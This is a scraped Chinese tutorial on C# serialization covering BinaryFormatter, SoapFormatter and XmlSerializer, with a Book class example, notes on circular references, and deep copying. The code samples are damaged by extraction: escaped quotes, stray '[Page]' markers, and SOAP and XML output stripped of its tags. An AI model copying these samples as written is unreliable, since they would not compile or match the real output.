文档库 最新最全的文档下载
当前位置:文档库 › C# - 序列化和反序列化

C# - 序列化和反序列化

C# - 序列化和反序列化
C# - 序列化和反序列化

C# -

一、序列化的概念

序列化就是把一个对象保存到一个文件或数据库字段中去,反序列化就是在适当的时候把这个文件再转化成原来的对象使用。

需要分清楚的概念:对象的序列化而不是类的序列化。对象的序列化表明C#提供了将运行中的对象(实时数据)写入到硬盘文件或者数据库中,此功能可以运用在需要保留程序运行时状态信息的环境下。

使用序列化有两个最重要的原因:

一个原因是将对象的状态永久保存在存储媒体中,以便可以在以后重新创建精确的副本;

另一个原因是通过值将对象从一个应用程序域发送到另一个应用程序域中。

前提:要将对象的类声明为可以序列化。

最主要的作用有:

1、在进程下次启动时读取上次保存的对象的信息

2、在不同的AppDomain或进程之间传递数据

3、在分布式应用系统中传递数据

......

二、永久存储

通常需要将一个对象的各字段的值存储到磁盘中,这样以后可以检索这些数据。尽管不依赖序列化也可以很容易地做到这一点,但这样的方法通常十分麻烦并且容易出错,在您需要跟踪对象的层次

结构时将变得越来越复杂。设想一下编写包含数以千计对象的大型商业应用程序,将不得不为每一对象编写代码以将字段和属性保存到磁盘上和从磁盘上还原它们,这是多么的复杂。而序列化为实现上述目标提供了一个方便的机制。

公共语言运行库管理对象在内存中的存储方式并通过使用反射提供自动的序列化机制。当序列化一个对象时,类的名称、程序集和类实例的所有数据成员都被写入存储中。对象通常在成员变量中存储对其他实例的引用。在序列化类时,序列化引擎跟踪已被序列化的引用对象,以确保同一对象不会被多次序列化。随一起提供的序列化结构自动正确处理对象图和循环引用。对于对象图的唯一要求就是,由被序列化的对象引用的所有对象还必须标记为 Serializabl e。如果没有进行此标记,当序列化程序尝试序列化未标记的对象时,将引发一个异常。

当反序列化已序列化的类时,重新创建该类并且自动还原所有数据成员的值。

三、值封送

对象只在创建它们的应用程序域中有效。将对象作为一个参数传递或将其作为结果返回的任何尝试都将失败,除非该对象派生自 Ma rshalByRefObject 或被标记为 Serializable。如果该对象被标记为 Seri alizable,该对象将被自动序列化,从一个应用程序域传输到其他的应用程序域,然后被反序列化以在第二个应用程序域中生成该对象的精确副本。此过程通常被称作值封送。

当对象从 MarshalByRefObject 派生时,从一个应用程序域将对象引用传递到另一个应用程序域,而不是传递该对象本身。还可将从MarshalByRefObject 派生的对象标记为 Serializable。当该对象与远

程处理一起使用时,负责序列化的格式化程序(该格式化程序已由代理选择器 SurrogateSelector 预先配置)控制序列化过程,并用代理代替从 MarshalByRefObject 派生的所有对象。如果没有适当的 Surro gateSelector,则序列化结构遵循在序列化过程的步骤中描述的标准序列化规则。

四、基本序列化

使一个类可序列化的最简单方式是按如下所示使用 Serializable 属性标记。

[Serializable]

public class MyObject {

public int n1 = 0;

public int n2 = 0;

public String str = null;

}

以下代码示例说明该类的实例是如何被序列化到一个文件中的。MyObject obj = new MyObject();

obj.n1 = 1;

obj.n2 = 24;

obj.str = "Some String";

IFormatter formatter = new BinaryFormatter();

Stream stream = new FileStream("MyFile.bin", FileMode.Create, FileAccess.Write, F ileShare.None);

formatter.Serialize(stream, obj);

stream.Close();

该示例使用二进制格式化程序执行序列化。您需要做的所有工作就是创建流的实例和您想要使用的格式化程序,然后对该格式化程序调用 Serialize 方法。要序列化的流和对象作为参数提供给该调用。尽管在此示例中并没有显式阐释这一点,但一个类的所有成员

变量都将被序列化,即使是那些已标记为私有的变量。在此方面,二进制序列化不同于 XMLSerializer 类,后者只序列化公共字段。

将对象还原回其以前的状态十分简单。首先,创建用于读取的流和格式化程序,然后指示格式化程序反序列化该对象。下面的代码示例说明如何执行上述的操作。

IFormatter formatter = new BinaryFormatter();

Stream stream = new FileStream("MyFile.bin", FileMode.Open, FileAccess.Read, Fil eShare.Read);

MyObject obj = (MyObject) formatter.Deserialize(stream);

stream.Close();

// Here's the proof.

Console.WriteLine("n1: {0}", obj.n1);

Console.WriteLine("n2: {0}", obj.n2);

Console.WriteLine("str: {0}", obj.str);

上面所用的 BinaryFormatter 非常有效,生成了非常简洁的字节流。通过该格式化程序序列化的所有对象也可以通过该格式化程序进行反序列化,这使该工具对于序列化将在 .NET Framework 上被反序列化的对象而言十分理想。需要特别注意的是,在反序列化一个对象时不调用构造函数。出于性能方面的原因对反序列化施加了该约束。但是,这违反了运行库与对象编写器之间的一些通常约定,开发人员应确保他们在将对象标记为可序列化时了解其后果。

如果可移植性是必需的,则转为使用 SoapFormatter。只需用 Soa pFormatter 代替上面代码中的 BinaryFormatter,并且如前面一样调用 Serialize 和 Deserialize。此格式化程序为上面使用的示例生成以下输出。

xmlns:xsi="https://www.wendangku.net/doc/c53608684.html,/2001/XMLSchema-instance"

xmlns:xsd="https://www.wendangku.net/doc/c53608684.html,/2001/XMLSchema"

xmlns:SOAP- ENC="https://www.wendangku.net/doc/c53608684.html,/soap/encoding/"

xmlns:SOAP- ENV="https://www.wendangku.net/doc/c53608684.html,/soap/envelope/"

SOAP-ENV:encodingStyle=

"https://www.wendangku.net/doc/c53608684.html,/soap/encoding/clr/1.0"

"https://www.wendangku.net/doc/c53608684.html,/soap/encoding/"

xmlns:a1="https://www.wendangku.net/doc/c53608684.html,/clr/assem/ToFile">

1

24

Some String

需要特别注意的是,Serializable 属性不能被继承。如果我们从 M yObject 派生一个新类,此新类必须也用该属性标记,否则将无法被序列化。例如,当试图序列化下面的类的实例时,您将获得 Serializ ationException,通知您 MyStuff 类型没有标记为可序列化。

public class MyStuff : MyObject

{

public int n3;

}

使用 Serializable 属性十分方便,但它具有上面所述的限制。在对类进行编译后,就不能再向该类添加序列化。

五、序列化举例

在C#中常见的序列化的方法主要也有三个:

BinaryFormatter

SoapFormatter

XML序列化

本文就通过一个小例子主要说说这三种方法的具体使用和异同点:

这个例子就是使用三种不同的方式把一个Book对象进行序列化和反序列化,当然这个Book类首先是可以被序列化的。

Book类

using System;

using System.Collections;

using System.Text;

namespace SerializableTest

{

[Serializable]

public class Book

{

public Book()

{

alBookReader = new ArrayList();

}

public string strBookName;

[NonSerialized]

public string strBookPwd;

private string _bookID;

public string BookID

{

get { return _bookID; }

set { _bookID = value; }

}

public ArrayList alBookReader;

private string _bookPrice;

public void SetBookPrice(string price)

{

_bookPrice = price;

}

public void Write()

{

Console.WriteLine(\"Book ID:\" + BookID);

Console.WriteLine(\"Book Name:\" + strBookName);

Console.WriteLine(\"Book Password:\" + strBookPwd);

Console.WriteLine(\"Book Price:\" + _bookPrice);

Console.WriteLine(\"Book Reader:\");

for (int i = 0; i < alBookReader.Count; i++)

{

Console.WriteLine(alBookReader[i]); [Page]

}

}

}

}

这个类比较简单,就是定义了一些public字段和一个可读写的属性,一个private字段,一个标记为[NonSerialized]的字段,具体会在下面的例子中体现出来

1、BinaryFormatter序列化方式

序列化,就是给Book类赋值,然后进行序列化到一个文件中

Book book = new Book();

book.BookID = \"1\";

book.alBookReader.Add(\"gspring\");

book.alBookReader.Add(\"永春\");

book.strBookName = \"C#强化\";

book.strBookPwd = \"*****\";

book.SetBookPrice(\"50.00\");

BinarySerialize serialize = new BinarySerialize();

serialize.Serialize(book); //2、反序列化

BinarySerialize serialize = new BinarySerialize();

Book book = serialize.DeSerialize();

book.Write(); //3、测试用的

BinarySerialize类

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using System.Runtime.Serialization.Formatters.Binary;

namespace SerializableTest

{

public class BinarySerialize

{

string strFile = \"c:\\\\book.data\";

public void Serialize(Book book)

{

using (FileStream fs = new FileStream(strFile, FileMode.Create)) {

BinaryFormatter formatter = new BinaryFormatter();

formatter.Serialize(fs, book);

}

}

public Book DeSerialize()

{

Book book;

using (FileStream fs = new FileStream(strFile, FileMode.Open))

{

BinaryFormatter formatter = new BinaryFormatter(); [Page]

book = (Book)formatter.Deserialize(fs);

}

return book;

}

}

}

主要就是调用System.Runtime.Serialization.Formatters.Binary空间下的BinaryFormatter类进行序列化和反序列化,以缩略型二进制格式写到一个文件中去,速度比较快,而且写入后的文件已二进制保存有一定的保密效果。

调用反序列化后的截图如下:

也就是说除了标记为NonSerialized的其他所有成员都能序列化

2、SoapFormatter序列化方式

调用序列化和反序列化的方法和上面比较类似,我就不列出来了,主要就看看SoapSerialize类

SoapSerialize类

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using System.Runtime.Serialization.Formatters.Soap;

namespace SerializableTest

{

public class SoapSerialize

{

string strFile = \"c:\\\\book.soap\";

public void Serialize(Book book)

{

using (FileStream fs = new FileStream(strFile, FileMode.Create))

{

SoapFormatter formatter = new SoapFormatter();

formatter.Serialize(fs, book);

}

}

public Book DeSerialize()

{

Book book;

using (FileStream fs = new FileStream(strFile, FileMode.Open))

{

SoapFormatter formatter = new SoapFormatter();

book = (Book)formatter.Deserialize(fs);

}

return book;

}

}

}

主要就是调用System.Runtime.Serialization.Formatters.Soap空间下的SoapFormatter类进行序列化和反序列化,使用之前需要应用S ystem.Runtime.Serialization.Formatters.Soap.dll(.net自带的)

序列化之后的文件是Soap格式的文件(简单对象访问协议(Simp le Object Access Protocol,SOAP),是一种轻量的、简单的、基于XML的协议,它被设计成在WEB上交换结构化的和固化的信息。SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。它还支持从消息系统到远程过程调用(RP C)等大量的应用程序。SOAP使用基于XML的数据结构和超文本传输协议(HTTP)的组合定义了一个标准的方法来使用Internet上各种不同操作环境中的分布式对象。)

调用反序列化之后的结果和方法一相同

3、XML序列化方式

调用序列化和反序列化的方法和上面比较类似,主要就看看Xml Serialize类

XmlSerialize类

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using System.Xml.Serialization;

namespace SerializableTest

{

public class XmlSerialize

{

string strFile = \"c:\\\\book.xml\";

public void Serialize(Book book)

{

using (FileStream fs = new FileStream(strFile, FileMode.Create))

{

XmlSerializer formatter = new XmlSerializer(typeof(Book));

formatter.Serialize(fs, book);

}

}

public Book DeSerialize()

{

Book book;

using (FileStream fs = new FileStream(strFile, FileMode.Open))

{

XmlSerializer formatter = new XmlSerializer(typeof(Book));

book = (Book)formatter.Deserialize(fs);

}

return book;

}

}

}

从这三个测试类我们可以看出来其实三种方法的调用方式都差不多,只是具体使用的类不同

xml序列化之后的文件就是一般的一个xml文件:

book.xml

C#强化

*****

gspring

永春

1

输出截图如下:

也就是说采用xml序列化的方式只能保存public的字段和可读写的属性,对于private等类型的字段不能进行序列化

关于循环引用:

比如在上面的例子Book类中加入如下一个属性:

public Book relationBook;

在调用序列化时使用如下方法:

Book book = new Book();

book.BookID = \"1\"; [Page]

book.alBookReader.Add(\"gspring\");

book.alBookReader.Add(\"永春\");

book.strBookName = \"C#强化\";

book.strBookPwd = \"*****\";

book.SetBookPrice(\"50.00\");

Book book2 = new Book();

book2.BookID = \"2\";

book2.alBookReader.Add(\"gspring\");

book2.alBookReader.Add(\"永春\");

book2.strBookName = \".NET强化\";

book2.strBookPwd = \"*****\";

book2.SetBookPrice(\"40.00\");

book.relationBook = book2;

book2.relationBook = book;

BinarySerialize serialize = new BinarySerialize();

serialize.Serialize(book);

这样就会出现循环引用的情况,对于BinarySerialize和SoapSeria lize可以正常序列化(.NET内部进行处理了),对于XmlSerialize出现这种情况会报错:\"序列化类型 SerializableTest.Book 的对象时检测到循环引用。\"

、使用对象序列化,再反序列化回来就实现了内存的copy,实现对象的复制功能

///

/// 把对象序列化并返回相应的字节

///

/// 需要序列化的对象

/// byte[]

public byte[] SerializeObject(object pObj)

{

if(pObj == null)

return null;

System.IO.MemoryStream _memory = new System.IO.MemoryStream();

BinaryFormatter formatter = new BinaryFormatter();

formatter.Serialize(_memory,pObj);

_memory.Position = 0;

byte[] read = new byte[_memory.Length];

_memory.Read(read,0,read.Length);

_memory.Close();

return read;

}

///

/// 把字节反序列化成相应的对象

///

/// 字节流

/// object

public object DeserializeObject(byte[] pBytes)

{

object _newOjb = null;

if(pBytes == null)

return _newOjb;

System.IO.MemoryStream _memory = new System.IO.MemoryStream(pBytes);

_memory.Position = 0;

BinaryFormatter formatter = new BinaryFormatter();

_newOjb = formatter.Deserialize(_memory);

_memory.Close();

return _newOjb;

}

WebLogic 组件反序列化漏洞补丁升级操作手册

weblogic反序列化补丁安装 梁裕 1、到weblogic官网下载补丁包(p2*******_1036_Generic.zip、 p2*******_1036012_Generic.zip如果找不到的朋友,可以在回复中给我留下邮箱,我会定期回复。) 2、10.3.6对应的补丁包p2*******_1036012_Generic.zip ,补丁包需要依赖于一个大的升级 包,所以需要把p2*******_1036_Generic.zip也下载下来。 3、登录linux的weblogic用户,切换到/home/weblogic/Oracle/Middleware/utils/bsu/目录下。 4、确认当前weblogic版本,并确认所有域的进程全部关闭 ./bsu.sh -prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3/ -status=applied -verbose –view 5、查看是否存在/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir 目录,没有的需要 手工创建。 6、将补丁包上传到/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir目录下 7、首先打大的升级包,解压p2*******_1036_Generic.zip unzip p2*******_1036_Generic.zip EJUW对应就是后面命令的patchlist 8、执行补丁安装命令。 ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=EJUW-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 9、打序列化的补丁包,解压p2*******_1036012_Generic.zip unzip p2*******_1036012_Generic.zip ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=ZLNA-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 10、在打ZLNA补丁包时,遇到了内存溢出的问题。需要修改bsu.sh脚本,将内存调大。 11、启动weblogic的域,查看输出日志。确定版本是否生效。

java序列化的作用

最近在阅读Core J2EE Patterns 的时候发现例子里用于在各个层次里进行传输的TO(Data Transfer Object)都实现了java.io.Serializable接口,看到这些偶突然感到茅塞顿开~困扰了很久的关于Serializable的疑问渐渐解开了,查找相关资料并总结如下: 序列化是什么: 序列化就是将一个对象的状态(各个属性量)保存起来,然后在适当的时候再获得。 序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例 序列化的什么特点: 如果某个类能够被序列化,其子类也可以被序列化。声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态, transient代表对象的临时数据。 什么时候使用序列化: 一:对象序列化可以实现分布式对象。主要应用例如:RMI要利用对象序列化运行远程主机上的服务,就像在本地机上运行对象时一样。 二:java对象序列化不仅保留一个对象的数据,而且递归保存对象引用的每个对象的数据。可以将整个对象层次写入字节流中,可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的"深复制",即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。 ====================== 可以看看接口java.io.serializable的中文解释: Serializable public interface Serializable 类通过实现 java.io.Serializable 接口以启用其序列化功能。未实现此接口的类将无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。序列化接口没有方法或字段,仅用于标识可序列化的语义。

C++序列化反序列化库Kapok

C++序列化/反序列化库Kapok 1.Kapok的特点 简单,易用,header-only,只需要引用Kapok.hpp即可;高效,初步测试性和messagepack 相当。 它是纯c++11实现,因此需要支持C++11的编译器。 2.主要功能 对对象进行自动化的序列化和反序列化,用起来非常简单,先来看个序列化/反序列化一个tuple的例子吧。 //序列化 Serializer sr; auto tp = std::make_tuple(10, 12, string("test")); sr.Serialize(tp, "tuple"); //反序列化 DeSerializer dr; std::tuple p; dr.Parse(sr.GetString()); dr.Deserialize(p, "tuple"); 看起来是不是很简单! 再看一个序列化一个自定义对象的例子。 struct Person { int age; string name; string city; META(age, name, city) }; Person p = { 18, "bb", "aa" }; //序列化 Serializer sr; sr.Serialize(p, "Person"); //反序列化 DeSerializer dr;

Person person; dr.Parse(sr.GetString()); dr.Deserialize(person, "Person"); 一样的很简单,结构这里需要一个宏定义META,这个META的作用就是获取对象的元信息,有了这个元信息我们就可以很方便的实现序列化和反序列化了。 3.应用场景 Kapok除了不支持指针之外所有的对象都支持,支持结构体的无限嵌套(被嵌套的结构体也必须定义META宏)。这里说一下为什么不支持指针呢,因为对象中有指针的话存在两个问题:1.这个指针如果是动态数组的话,c++中无法获取这个数组的长度;2.指针还涉及到内存管理,我希望Kapok专注于序列化和/反序列化,暂时不考虑内存管理。 4.结构体必须有一个宏定义是否具有侵入性? 看起来每个序列化/反序列化的对象都要带一个宏定义似乎侵入性较强,但这种侵入性是完全无害的,因为它只是定义了一个额外的函数而已,这个函数只会在序列化/反序列化的时候才会用到,不会对当前对象造成任何影响,还有一点是因为c++没有反射,必须要通过某种方法来获取对象的元信息,纵观目前所有的序列化方案,只有这种方式是最简洁的,用户做最少的事情即可,这也是我选择这种方式的原因。 5.Kapok是如何实现序列化/反序列化的 Kapok的最底层是用到了rapidjson, 用它来实现对基本类型的序列化,对它做了一个简单的封装以便供上层使用,上面层就是序列化\反序列化实现层,主要是实现对对象元信息的解析和自动化的打包和解包。下面是Kapok序列化的一个示意图: 6.Kapok的性能如何 初步测试对一个tuple进行序列化/反序列化一万次,发现Kapok的耗时和messagepack相当。 7.Kapok是否支持多语言 暂时不支持,先把c++版本做好再说,如果要支持多语言的话,需要用其它语言进行重写,

Apache Shiro反序列化远程代码执行-其他利用姿势

12下一页 返回列表 回复发帖 帖子2 积分1 TCV0 TuBi1 坛龄84天 1# 跳转到? 倒序看帖 打印字体大小: T00LS ? 渗透测试文章(Security Articles) ? 投稿文章:通过Shiro反序列化拿下某空管局服务器root权限 steven 新手上路 发表于 所需阅读权限 20 [【原创】]投稿文章:通过Shiro反序列化拿下某空管局服务器root 权限 xuehei|提醒短消息论坛任务|个人中心退出 首页版块搜索银行T00ls工具帮助

目标站返回rememberMe的cookie字段或者在请求包中含有rememberMe的cookie字段的时候,说明该目标站是用了shiro框架漏洞利用 ①猜解密钥 前文中提到的硬编码的密钥,在实际生产环境中不同的项目可能会存在不同的密钥(key),从github上搜集了部分常用的key用于猜解,这里用到dnslog来判断是否成功. 可以看到当Key为kPH+bIxk5D2deZiIxcaaaA==时,服务器收到了目标站的请求,这里我们可以确定该站的key为 kPH+bIxk5D2deZiIxcaaaA== ②命令执行 这里我们利用ysoserial工具进行漏洞利用. 在服务器上执行 java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'ping -c 1 sl0437.ceye.io' 可以看到已经接收到了目标站的请求,并且payload发送给目标站以后成功执行了ping命令.说明目标站CommonsCollections1存在反序列化漏洞 ③反弹shell 在实战中发现,虽然可以成功执行命令了,但是由于runtime等环境因素并不能直接反弹shell,这个可以采用先下载后运行的方式.

JAVA序列化基础知识Serializable与Externalizable的区别

大家都知道Serializable是一个mark interface,告诉JVM这个对象可以被转换成二进制流来传输. 但是Serializable与Externalizable的转换二进制流的过程是不一样的. Serializable 在我们实现这个接口的时候,我们可以使用4个私有方法来控制序列化的过程: 我们来看一个例子: public class FooImpl implements java.io.Serializable{ private String message; public String getFoo() { return message; } public void setMessage(String message) { this.message = message; } private void writeObject(java.io.ObjectOutputStream out) throws IOException { System.out.println("writeObject invoked"); out.writeObject(this.message == null ? "hohohahaha" : this.message); } private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { System.out.println("readObject invoked"); this.message = (String) in.readObject(); System.out.println("got message:" + message); } private Object writeReplace() throws ObjectStreamException { System.out.println("writeReplace invoked"); return this; } private Object readResolve() throws ObjectStreamException { System.out.println("readResolve invoked"); return this; }

使用json-lib完成json的序列化和反序列化

使用json-lib完成json的序列化和反序列化2011-07-29 14:07:43 分类:默认分类 | 标签:软件 java json. json的序列化和反序列化在现在的javaweb中特别是ajax中使用的比较频繁,现在本人就这种技术提出自己的使用心得。 我的pojo对象的结构是这样的 部门表和员工表 1对多的关系 部门对象 public class Dept implements java.io.Serializable { private Integer depid;//部门ID private String depname;//部门名称 private Set emps = new HashSet(0);//员工集合 } 员工对象 public class Emp implements java.io.Serializable { private Integer empid;//员工id private Dept dept;//部门 private String empname;//员工名称 private Date birthday;//生日 } 1.json字符串序列化成对象 /** *通过json转换成对象 *@author凤生禾予 */ public void jsonToObject(){ Date d=new Date(); SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd"); StringBuffer str=new StringBuffer(); // json字符串 str.append("{empid:1,dept:{depid:1,depname:'开发部'},empname:'张三 ',birthday:'"+sdf.format(d)+"'}"); // 使用JSONObject将json序列化对象 JSONObject obj=JSONObject.fromObject(str.toString()); // 将JOSNObject对象转换成pojo对象 Emp emp=(Emp) JSONObject.toBean(obj,Emp.class); System.out.println(emp.getBirthday()); } 这里需要注意的是json字符串的写法以{}表示一个对象,字符串必须加引号

Java序列化的机制和原理

Java序列化的机制和原理 有关Java对象的序列化和反序列化也算是Java基础的一部分,下面对Java序列化的机制和原理进行一些介绍。 Java序列化算法透析 Serialization(序列化)是一种将对象以一连串的字节描述的过程;反序列化deserialization 是一种将这些字节重建成一个对象的过程。Java序列化API提供一种处理对象序列化的标准机制。在这里你能学到如何序列化一个对象,什么时候需要序列化以及Java序列化的算法,我们用一个实例来示范序列化以后的字节是如何描述一个对象的信息的。 序列化的必要性 Java中,一切都是对象,在分布式环境中经常需要将Object从这一端网络或设备传递到另一端。这就需要有一种可以在两端传输数据的协议。Java序列化机制就是为了解决这个问题而产生。 如何序列化一个对象 一个对象能够序列化的前提是实现Serializable接口,Serializable接口没有方法,更像是个标记。有了这个标记的Class就能被序列化机制处理。 1.import java.io.Serializable; 2. 3.class TestSerial implements Serializable { 4. 5.public byte version = 100; 6. 7.public byte count = 0; 8. 9.} 然后我们写个程序将对象序列化并输出。ObjectOutputStream能把Object输出成Byte 流。我们将Byte流暂时存储到temp.out文件里。 1.public static void main(String args[]) throws IOException { 2. 3. FileOutputStream fos = new FileOutputStream("temp.out "); 4. 5. ObjectOutputStream oos = new ObjectOutputStream(fos); 6. 7. TestSerial ts = new TestSerial();

Java-Jackson反序列化漏洞及挖洞思路

源码分析Jackson反序列化漏洞 前言: 本次分析从Java序列化和反序列化源码开始分析,进一步分析Jackson源码,找出造成漏洞的原因,最后以Jackson2.9.2版本,JDK1.80_171,resin4.0.52,CVE-2020-10673为例复现漏洞。 一.JA V A反序列化原理 1.1 Class对象 每一个类都有一个Class对象,Class对象包含每一个类的运行时信息,每一个类都有一个Class对象,每编译一个类就产生一个Class对象,Class类没有公共的构造方法,Class对象是在类加载的时候由JVM以及通过调用类加载器中的DefineClass()方法自动构造的,因此不能显式地声明一个Class对象。在类加载阶段,类加载器首先检查这个类的Class对象是否已经被加载。如果尚未加载,默认的类加载器就会根据类的全限定名查找.class文件。一旦某个类的Class对象被载入内存,我们就可以它来创建这个类的所有对象以及获得这个类的运行时信息。 获得Class对象的方法: 1).Class.forName(“类的全名”);//com.xx.xx.xx 2).实例对象.getClass() 3).类名.class 1.2反射 JA V A反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

实现Java反射机制的类都位于https://www.wendangku.net/doc/c53608684.html,ng.reflect包中: 1).Class类:代表一个类 2).Field类:代表类的成员变量(类的属性) 3).Method类:代表类的方法 4).Constructor类:代表类的构造方法 5).Array类:提供了动态创建数组,以及访问数组的元素的静态方法 简单反射调用代码 Class clz=this.getClass(); Object obj= clz.getMethod("方法名",Class对象序列).invoke(this,Object参数序列); 1.3 反序列化 Java 序列化是指把Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject() 方法可以实现序列化。 Java 反序列化是指把字节序列恢复为Java 对象的过程,ObjectInputStream 类的readObject() 方法用于反序列化。 RMI:是Java 的一组拥护开发分布式应用程序的API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输100% 基于反序列化,Java RMI 的默认端口是1099 端口。 JMX:JMX 是一套标准的代理和服务,用户可以在任何Java 应用程序中使用这些代理和服务实现管理,中间件软件WebLogic 的管理页面就是基于JMX 开发的,而JBoss 则整个系统都基于JMX 构架。 只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。 readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject() 是可以重写的,可以定制反序列化的一些行为。 readObject()主要做的事情,其实就是读取正常应该被序列化的字段信息后,

【IT专家】反序列化无效的类

本文由我司收集整编,推荐下载,如有疑问,请与我司联系 反序列化无效的类 反序列化无效的类- 从文件工作反序列化但不是blob?[英]class invalid for deserialization - Deserializes from file working but not blob? The problem lies when trying to deserialize an instance of the class itemSet returned in a resultSet after querying my database. The blobfile seems to be fine itself and the data can be saved to a file then correctly read using a filereader (see below) as such I’m inclined to believe the issue lies somewhere in my implementation? The program runs on tomcat using the netbeans 8.01 ide. ?问题在于在查询数据库后尝试反序列化在resultSet中返回的类itemSet的实例。blobfile本身似乎很好,数据可以保存到文件然后使用文件读取器正确读取(见下文),因为我倾向于认为问题出在我的实现中的某个地方?该程序使用netbeans 8.01 ide在tomcat上运行。 My project git link: https://github/feltax/gw2apiMark2 ?我的项目git链接:https://github/feltax/gw2apiMark2 ?My project is using a modified wrapper for a few classes: https://github/feltax/gw2apiModified ?我的项目使用一个修改过的包装器来完成几个 类:https://github/feltax/gw2apiModified The exact error: ?确切的错误: type Exception report message me.nithanim.gw2api.v2.api.items.ItemInfo; class invalid for deserializationdescription The server encountered an internal error that prevented it from fulfilling this request.exception java.io.InvalidClassException: me.nithanim.gw2api.v2.api.items.ItemInfo; class invalid for deserialization java.io.ObjectStreamClass$ExceptionInfo.newInvalidClassException(ObjectStreamClass.j ava:150)java.io.ObjectStreamClass.checkDeserialize(ObjectStreamClass.java:790)java.io.

Apache JMeter rmi 反序列化—【CVE-2018-1297】

漏洞描述 Severity: Important Vendor: The Apache Software Foundation Versions Affected: JMeter 2.X, 3.X Description [0]: When using Distributed Test only (RMI based), jmeter uses an unsecured RMI connection. This could allow an attacker to get Access to JMeterEngine and send unauthorized code. This only affect tests running in Distributed mode. Mitigation: Users must use last version of Java 8 or Java 9 Users must upgrade to last JMeter 4.0 version and use the default / enabled authenticated SSL RMI connection. Besides, we remind users that in distributed mode, JMeter makes an Architectural assumption that it is operating on a 'safe' network. i.e. everyone with access to the network is considered trusted. This typically means a dedicated VPN or similar is being used. Example: Start JMeter server using either jmeter-server or jmeter -s If JMeter listens on unsecure rmi connection (ie you can connect to it using a JMeter client), you are vulnerable Apache JMeter 简介 Apache JMeter是Apache组织开发的基于Java的压力测试工具。用于对软件做压力测试,它最初被设计用于Web应用测试,但后来扩展到其他测试领域。它可以用于测试静态和动态资源,例如静态文件、Java 小服务程序、CGI 脚本、Java 对象、数据库、FTP 服务器,等等。JMeter 可以用于对服务器、网络或对象模拟巨大的负载,来自不同压力类别下测试它们的强度和分析整体性能 流程图

Java对象的序列化和反序列化实践

Java对象的序列化和反序列化实践 当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。 把Java对象转换为字节序列的过程称为对象的序列化。 把字节序列恢复为Java对象的过程称为对象的反序列化。 对象的序列化主要有两种用途: 1)把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 2)在网络上传送对象的字节序列。 一.JDK类库中的序列化API java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。 java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。、 只有实现了Serializable和Externalizable接口的类的对象才能被序列化。Externalizable接口继承自Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式。 对象序列化包括如下步骤: 1)创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流; 2)通过对象输出流的writeObject()方法写对象。 对象反序列化的步骤如下: 1)创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;

Java的序列化与反序列化

Java的序列化与反序列化 原创不易,望各位转载注明出处:北京尚学堂 java序列化是一种对象持久化的手段。普遍应用在网络传输、RMI等场景中。 本文通过分析ArrayList的序列化来介绍Java序列化的相关内容。主要涉及到 以下几个问题: 怎么实现Java的序列化 为什么实现了java.io.Serializable接口才能被序列化 transient的作用是什么 怎么自定义序列化策略 自定义的序列化策略是如何被调用的 ArrayList对序列化的实现有什么好处 Java对象的序列化 Java平台允许我们在内存中创建可复用的Java对象,但一般情况下,只有当JVM处于运行时,这些对象才可能存在,即,这些对象的生命周期不会比JVM 的生命周期更长。但在现实应用中,就可能要求在JVM停止运行之后能够保存(持久化)指定的对象,并在将来重新读取被保存的对象。Java对象序列化就能 够帮助我们实现该功能。 使用Java对象序列化,在保存对象时,会把其状态保存为一组字节,在未来,再将这些字节组装成对象。必须注意地是,对象序列化保存的是对象的”状态”,即它的成员变量。由此可知,对象序列化不会关注类中的静态变量。 除了在持久化对象时会用到对象序列化之外,当使用RMI(远程方法调用),或 在网络中传递对象时,都会用到对象序列化。Java序列化API为处理对象序列 化提供了一个标准机制,该API简单易用。 如何对Java对象进行序列化与反序列化

